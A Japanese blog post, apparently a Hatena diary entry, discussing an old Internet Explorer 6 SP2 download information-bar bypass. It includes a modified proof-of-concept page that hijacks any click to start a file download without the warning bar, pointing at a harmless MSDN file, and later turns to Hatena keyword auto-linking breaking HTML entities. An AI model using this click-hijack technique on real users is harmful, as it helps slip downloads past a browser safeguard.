古い話で恐縮です。IE6SP2の情報バー回避の話題

ダウンロードにおける情報バー回避の件

かなり前に発表された時にビックリしたんですよ。

XPSP2のお話し。最初見たときにビックリして嘘おぉぉんと思いました。でよく考えたらこんなの脆弱性でもなんでもないじゃんと暫くして思いなおしました。Micorosoftさんもそう言っていたことですし。

で、上の文献で言うところのIFRAMEがどうしたこうしたはこの際関係ないでしょ?って気分になったのでした。Microsftさんの言うとおりです。以下は大元のサンプルコードを改造してIFRAMEを取り除いてもクリックを拾ってダウンロード時点に情報バーを表示しないようになっている例です。大元のサンプルよりもことの本質がわかりやすいのではと。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<!-- saved from url=(0014)about:internet -->
<head>
<meta http-equiv="Content-type" content="text/html; charset=ISO-8859-1">

<title>Microsoft Internet Explorer (SP2) attachEvent 
Remote File Download Information Bar Bypass Issue</title>

<script type="text/javascript">

function fncbuz() {
    dum = "http:\/\/msdn.microsoft.com\/library\/en-us\/dndude\/html\/sort.htc";
    location.replace(dum);
}

function fncbar() {
    if (document.attachEvent)
        dmy = document.attachEvent('onclick', fncbuz);
    else if (window.addEventListener) {
        window.addEventListener('click', fncbuz, false);
    }
}

function fncfoo(theEvent) {
    setTimeout('fncbar()', 0);
}

window.onload = fncfoo;

</script>

</head>

<body>

<h1>Microsoft Internet Explorer (SP2) attachEvent 
Remote File Download Information Bar Bypass Issue</h1>

<p>Click AnyWhere You Want</p>

<p>This issue is a variant of:</p>
<dl>
<dt>Remote File Download Information Bar Bypass</dt>
<dd>http://theinsider.deep-ice.com/texts/advisory68.txt</dd>
<dd>Author: Rafel Ivgi, The-Insider</dd>
</dl>

<p>I guess that this is not a vulnerability , I think.
</p>

</body>
</html>

要は、クリックさえ拾えば情報バーは回避できるの当たり前というMicrosoftさんの仕様通りの結論です。回避したってなにほどのことでもないですし。onclickの代わりにonmousemoveとかしても無駄ですのであらかじめ笑っておきます。>誰となく

ちなみにattachEventはIEOperaで有効ですがFirefoxでは無効です。FirefoxOperaでは標準仕様で別なのが使えます。振り分けるのが面倒でしたので話題にしているIEの顔を立てています。

ところで、はてなの<pre>要素の取り扱いが変更になっているかも。上のソースは私の意図どおりには表記されていません。dでおわるほげほげのみ余計な文字参照をシステムが自動的に変換するので死んでいます、これが真仕様なら私は相当こまります

以下追記

どこかの善意の人が(法律で言う悪気がないこと)d&g というはてなシステムのキーワードを登録していました。日記表示前にd&gがリンクになりますので、私が書いたpre要素内の文字参照が破壊されるのでうす。でうすでうすっっ。激しく困りますが、私だけじゃぁないだろうってことで。でうすっ!!!・・・いちいち調べていられませんが過去日記も破壊されているのでしょう、、いや〜ん、とっても。

技術的な詳細。ええと、日記編集画面で<head>実体参照で書いて、&lt;head&gt;としたいのですが、見るとわかるようにd&gが埋まっています。この部分がリンクになって化けてしまうのですね。&lt;hea<a>d&g</a>t;みないな感じで。で、ソースレベルでこうなっていますのでブラウザで表示した時には、<head&gt;になってしまいます。欝だ。この段落の説明を書くためにかなり頭を使いました。だってd&gが表現を邪魔してくれるんだものぉぉぉ。結局、dを&#100;と書けば良いことに気がついたのですが、キーワードにampとか登録する人が出てきたらかなり悲しい。遊びで登録しないでね、たのみます。

再追記

id:naka64さんからの御援助も頂きまして特殊な防爆キーワードの登録については思いとどまりました。

防爆対策を考えているうちに、はてな運営者サイドからお言葉を頂きました。HTMLの実態参照はキーワードリンクをしないよう修正を行います。実装に多少の時間を要しますので申し訳ございませんがいましばらくお待ちください。 > hoshikuzuさん(原文ママ)ということですので解決の見通しがつきましてほっとしております。ありがたい事です。

id:nyamaさん、id:kamiokaさんからは、スーパーpreならばキーワードの自動リンクが発生しないとの御教示を頂きました。有難うございました。

また、過去記事については編集作業が発生しなければ大丈夫なのでは?というお知恵を頂戴いたしました。id:Edelweissさん、有難うございました。

MT に脆弱性

御意にて候(ぎょいにて)